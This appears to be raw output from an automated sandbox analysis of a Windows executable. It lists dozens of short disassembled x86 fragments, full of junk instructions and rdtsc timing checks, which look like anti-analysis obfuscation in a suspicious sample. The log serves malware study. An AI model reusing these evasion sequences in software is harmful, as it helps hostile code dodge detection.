Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF31B second address: 9CF321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF321 second address: 9CF325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF325 second address: 9CF329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D01C3 second address: 9D025E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jmp 00007F95994487ABh 0x00000010 pop esi 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F95994487A8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push edx 0x0000002d mov bx, 776Dh 0x00000031 pop ebx 0x00000032 sub dword ptr [ebp+122D23D1h], edi 0x00000038 push 00000000h 0x0000003a stc 0x0000003b push 00000000h 0x0000003d mov edi, 350C2D23h 0x00000042 sub di, 5ACCh 0x00000047 xchg eax, esi 0x00000048 pushad 0x00000049 jno 00007F95994487ACh 0x0000004f jng 00007F95994487ACh 0x00000055 popad 0x00000056 push eax 0x00000057 pushad 0x00000058 pushad 0x00000059 pushad 0x0000005a popad 0x0000005b jmp 00007F95994487B6h 0x00000060 popad 0x00000061 pushad 0x00000062 pushad 0x00000063 popad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D31FA second address: 9D31FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF51D second address: 9CF52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F95994487A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF52D second address: 9CF53B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F9598E72AC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2425 second address: 9D242A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D541E second address: 9D5422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE950 second address: 9DE956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE956 second address: 9DE95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE95B second address: 9DE971 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007F95994487A6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c jbe 00007F95994487AEh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE971 second address: 9DE97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE97C second address: 9DE980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3B44 second address: 9E3B60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3B60 second address: 9E3B65 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3B65 second address: 9E3B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnc 00007F9598E72AD7h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push edi 0x00000014 jo 00007F9598E72ACCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8823 second address: 9E8828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8828 second address: 9E8830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8830 second address: 9E8855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F95994487A6h 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007F95994487A6h 0x00000012 jmp 00007F95994487AAh 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E762C second address: 9E7632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E2D second address: 9E7E43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E43 second address: 9E7E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9598E72AC6h 0x0000000a popad 0x0000000b js 00007F9598E72AD2h 0x00000011 jl 00007F9598E72AC6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E5C second address: 9E7E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E65 second address: 9E7E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E70 second address: 9E7E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E76 second address: 9E7E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E7C second address: 9E7E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E81 second address: 9E7E87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E87 second address: 9E7E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7FF0 second address: 9E7FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E83E0 second address: 9E83F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F95994487B1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E83F7 second address: 9E83FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E83FB second address: 9E8401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8401 second address: 9E8413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F9598E72AC8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8413 second address: 9E8429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95994487B0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8429 second address: 9E842D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E842D second address: 9E8431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8431 second address: 9E8437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984A7D second address: 984A83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984A83 second address: 984A87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED1F0 second address: 9ED215 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F95994487A6h 0x00000010 jnl 00007F95994487A6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC7FD second address: 9EC810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9598E72AC6h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC810 second address: 9EC814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC814 second address: 9EC818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC818 second address: 9EC84E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F95994487B9h 0x00000012 jmp 00007F95994487B0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC84E second address: 9EC871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F9598E72AC8h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED5E8 second address: 9ED5EE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0885 second address: 9F08A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72AD9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F08A2 second address: 9F08A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4C67 second address: 9F4C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F51CC second address: 9F51D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F51D0 second address: 9F520C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jc 00007F9598E72AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F9598E72AD9h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9598E72AD5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5340 second address: 9F5348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5348 second address: 9F534D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5620 second address: 9F5624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F58F3 second address: 9F58F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5A7E second address: 9F5AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95994487AFh 0x00000009 jmp 00007F95994487ACh 0x0000000e popad 0x0000000f je 00007F95994487B6h 0x00000015 jmp 00007F95994487AEh 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5AB4 second address: 9F5ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F9598E72AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5ABE second address: 9F5B3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B5h 0x00000007 jmp 00007F95994487B8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F95994487B8h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push edi 0x00000017 jnc 00007F95994487A6h 0x0000001d pushad 0x0000001e popad 0x0000001f pop edi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F95994487B2h 0x00000027 jmp 00007F95994487B6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5B3E second address: 9F5B54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F9598E72AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 js 00007F9598E72AC6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A40DD second address: 9A4100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95994487B5h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4100 second address: 9A4106 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4106 second address: 9A4125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F95994487B7h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5F6D second address: 9F5FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72AD4h 0x00000009 popad 0x0000000a js 00007F9598E72ADFh 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F9598E72AD7h 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b jmp 00007F9598E72AD7h 0x00000020 jg 00007F9598E72AC6h 0x00000026 pop ecx 0x00000027 push edi 0x00000028 push edi 0x00000029 pop edi 0x0000002a jno 00007F9598E72AC6h 0x00000030 pop edi 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5FD1 second address: 9F5FE4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F95994487A8h 0x00000008 push ecx 0x00000009 jno 00007F95994487A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F97BE second address: 9F97E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD1h 0x00000007 jnl 00007F9598E72AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDE2E second address: 9FDE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDE34 second address: 9FDE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F9598E72AC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9725F7 second address: 97260A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F95994487A6h 0x0000000d jno 00007F95994487A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCC50 second address: 9FCC7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD5h 0x00000007 jns 00007F9598E72AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9598E72ACCh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCC7F second address: 9FCC8B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F95994487A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAC4A second address: 9BAC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jl 00007F9598E72AC8h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d pushad 0x0000001e jg 00007F9598E72AC6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAC70 second address: 9BACD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F95994487A6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F95994487A8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b call 00007F95994487A9h 0x00000030 jmp 00007F95994487ABh 0x00000035 push eax 0x00000036 jo 00007F95994487CAh 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F95994487B8h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BACD4 second address: 9BACF2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9598E72AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F9598E72ACAh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAECD second address: 9BAEF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a mov edi, dword ptr [ebp+122D1C4Bh] 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAEF6 second address: 9BAEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB178 second address: 9BB18F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95994487B2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB18F second address: 9BB19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB53F second address: 9BB543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB543 second address: 9BB549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB549 second address: 9BB54E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB54E second address: 9BB55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB55A second address: 9BB560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB560 second address: 9BB5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F9598E72AC8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 push ebx 0x00000022 mov edi, dword ptr [ebp+122D3419h] 0x00000028 pop edi 0x00000029 push 0000001Eh 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F9598E72AC8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 or dword ptr [ebp+122D2C7Bh], eax 0x0000004b jmp 00007F9598E72AD3h 0x00000050 nop 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F9598E72AD4h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB931 second address: 9BB94A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F95994487A6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F95994487ACh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB94A second address: 9BB94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB94E second address: 9BB96B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95994487B9h 0x00000009 rdtsc
